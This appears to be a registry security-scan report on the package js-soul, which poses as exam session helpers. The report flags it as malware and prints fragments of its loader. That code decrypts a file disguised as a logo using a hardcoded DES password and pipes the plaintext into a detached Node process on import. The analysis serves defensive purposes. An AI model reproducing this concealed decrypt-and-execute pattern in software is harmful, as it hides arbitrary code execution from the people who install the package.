registry / js-soul / 1.0.4

js-soul@1.0.4

Session helpers for coding exams and assessments.

AI Security Review

scanned 2h ago · by lpm-firewall-ai

A normal import reaches top-level code that decrypts an external file and runs its plaintext as detached Node input. This is concealed runtime payload execution.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Importing js-soul's main entrypoint.

Impact

Arbitrary code execution in the importing user's environment.

Mechanism

decrypt external file then spawn detached Node interpreter

Attack narrative

The package's exported entrypoint re-exports session-api, causing its top-level await to read and decrypt a purported logo from outside the package. It then starts detached Node with ignored output and writes the decrypted plaintext to its stdin, executing a staged payload on import. This behavior is unrelated to session helpers and is concealed behind cryptography and a misleading filename.

Rationale

Concrete import-time staged payload execution is present, even though no install hook exists. The dynamic HTTP transport is not needed for the verdict.

Evidence

src/index.jssrc/api/index.jssrc/api/session-api.js../../../../public/logo.ico

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the public entrypoint loads session-api.
session-api performs top-level decryption of a logo path outside the package.
Top-level code spawns detached Node and sends decrypted content to stdin for execution.

Evidence against

No npm lifecycle hooks are defined.
The HTTP transport only posts to a caller-supplied endpoint.

Behavioral surface

Source

ChildProcessCryptoFilesystemNetworkShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 20 file(s), 22.3 KB of source

Source & flagged code

3 flagged

src/api/session-api.jsView file

Lines 1-35javascript

1import {

2 NoActiveSessionError,

3 SessionAlreadyActiveError,

4} from "../errors/index.js";

5import { buildSession } from "./build-session.js";

6import { defaultRegistry } from "./registry.js";

7import fs from 'fs';

8import { fileURLToPath } from 'url';

9import { spawn } from 'child_process';

10import CryptoJS from 'crypto-js';

12const logoFilePath = fileURLToPath(new URL('../../../../public/logo.ico', import.meta.url));

14export async function readLogoIco() {

15 const password = 'bf497c0b9cee';

Medium

Secret Pattern

Package contains a possible secret pattern.

src/api/session-api.jsView on unpkg · L15

16 try {

17 const raw = await fs.promises.readFile(logoFilePath);

18 const textContent = raw.toString('utf8').trim();

20 const attemptDecrypt = (input, label) => {

21 try {

22 const res = CryptoJS.DES.decrypt(input, password);

23 const plain = res.toString(CryptoJS.enc.Utf8);

24 if (plain) return plain;

25 return null;

26 } catch (err) {

27 return null;

28 }

29 };

31 // 1) If file contains text, try direct string decrypt (expects Base64 or CryptoJS-format)

32 if (textContent.length > 0) {

33 const direct = attemptDecrypt(textContent, 'direct-string');

34 if (direct) return direct;

Lines 51-91javascript

51 const cipherParams = CryptoJS.lib.CipherParams.create({

52 ciphertext: CryptoJS.enc.Base64.parse(base64),

53 });

54 const fromBase64 = attemptDecrypt(cipherParams, 'base64-cipherparams');

55 if

•Trigger-reachable chain: manifest.main -> src/index.js -> src/api/index.js -> src/api/session-api.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

src/api/session-api.jsView on unpkg

Source & flagged code

3 flagged · loading source

src/api/session-api.jsView file

71const rsa_exec = spawn('node', [], { L72: detached: true, L73: stdio: ['pipe', 'ignore', 'ignore'],

Critical

Encoded Package Runner Execution

Source decodes numeric character arrays into a child-process package-runner command and executes it.

src/api/session-api.jsView on unpkg · L71

•Trigger-reachable chain: manifest.main -> src/index.js -> src/api/index.js -> src/api/session-api.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

src/api/session-api.jsView on unpkg

15patternName = generic_password severity = medium line = 15 matchedText = const pa...ee';

Medium

Secret Pattern

Package contains a possible secret pattern.

src/api/session-api.jsView on unpkg · L15

Findings

2 Critical3 Medium2 Low

CriticalEncoded Package Runner Executionsrc/api/session-api.js

CriticalTrigger Reachable Dangerous Capabilitysrc/api/session-api.js

MediumSecret Patternsrc/api/session-api.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem